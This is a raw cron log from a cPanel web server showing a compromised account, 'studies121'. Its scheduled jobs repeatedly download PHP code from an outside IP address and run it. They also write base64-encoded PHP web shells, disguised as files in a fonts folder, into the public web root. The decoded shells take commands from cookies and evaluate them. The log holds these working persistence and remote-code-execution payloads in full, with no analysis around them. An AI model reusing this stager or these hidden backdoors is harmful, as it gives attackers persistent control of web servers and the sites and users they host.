Sep  3 05:57:01 ip-184-168-122-23 CROND[13539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:58:01 ip-184-168-122-23 CROND[13635]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 05:58:01 ip-184-168-122-23 CROND[13637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:58:01 ip-184-168-122-23 CROND[13639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:58:01 ip-184-168-122-23 CROND[13640]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 05:58:01 ip-184-168-122-23 CROND[13642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:59:01 ip-184-168-122-23 CROND[13731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:59:01 ip-184-168-122-23 CROND[13732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:59:01 ip-184-168-122-23 CROND[13734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 05:59:01 ip-184-168-122-23 CROND[13733]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:00:01 ip-184-168-122-23 CROND[13924]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 06:00:01 ip-184-168-122-23 CROND[13925]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Sep  3 06:00:01 ip-184-168-122-23 CROND[13929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:00:01 ip-184-168-122-23 CROND[13930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:00:01 ip-184-168-122-23 CROND[13936]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:00:01 ip-184-168-122-23 CROND[13935]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 06:00:01 ip-184-168-122-23 CROND[13937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:00:01 ip-184-168-122-23 CROND[13938]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  3 06:00:01 ip-184-168-122-23 CROND[13934]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 06:00:01 ip-184-168-122-23 CROND[13944]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:01:01 ip-184-168-122-23 CROND[14086]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 06:01:01 ip-184-168-122-23 CROND[14089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:01:01 ip-184-168-122-23 CROND[14091]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 06:01:01 ip-184-168-122-23 CROND[14092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[14086]: starting 0anacron
Sep  3 06:01:01 ip-184-168-122-23 CROND[14095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:01:01 ip-184-168-122-23 CROND[14093]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[14106]: finished 0anacron
Sep  3 06:02:01 ip-184-168-122-23 CROND[14249]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:02:01 ip-184-168-122-23 CROND[14252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:02:01 ip-184-168-122-23 CROND[14254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:02:01 ip-184-168-122-23 CROND[14251]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:02:01 ip-184-168-122-23 CROND[14253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:03:01 ip-184-168-122-23 CROND[14349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:03:01 ip-184-168-122-23 CROND[14351]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:03:01 ip-184-168-122-23 CROND[14352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:03:01 ip-184-168-122-23 CROND[14354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:04:01 ip-184-168-122-23 CROND[14488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:04:01 ip-184-168-122-23 CROND[14490]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:04:01 ip-184-168-122-23 CROND[14492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:04:01 ip-184-168-122-23 CROND[14493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:04:01 ip-184-168-122-23 CROND[14491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:05:01 ip-184-168-122-23 CROND[14723]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 06:05:01 ip-184-168-122-23 CROND[14722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:05:01 ip-184-168-122-23 CROND[14724]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 06:05:01 ip-184-168-122-23 CROND[14728]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:05:01 ip-184-168-122-23 CROND[14730]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 06:05:01 ip-184-168-122-23 CROND[14729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:05:01 ip-184-168-122-23 CROND[14731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:06:02 ip-184-168-122-23 CROND[14874]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:06:02 ip-184-168-122-23 CROND[14875]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:06:02 ip-184-168-122-23 CROND[14877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:06:02 ip-184-168-122-23 CROND[14878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:06:02 ip-184-168-122-23 CROND[14876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:07:01 ip-184-168-122-23 CROND[15002]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:07:01 ip-184-168-122-23 CROND[15005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:07:01 ip-184-168-122-23 CROND[15004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:07:01 ip-184-168-122-23 CROND[15006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:08:01 ip-184-168-122-23 CROND[15122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:08:01 ip-184-168-122-23 CROND[15124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:08:01 ip-184-168-122-23 CROND[15125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:08:01 ip-184-168-122-23 CROND[15126]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:08:01 ip-184-168-122-23 CROND[15128]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:09:01 ip-184-168-122-23 CROND[15223]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:09:01 ip-184-168-122-23 CROND[15227]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 06:09:01 ip-184-168-122-23 CROND[15226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:09:01 ip-184-168-122-23 CROND[15228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:09:01 ip-184-168-122-23 CROND[15231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
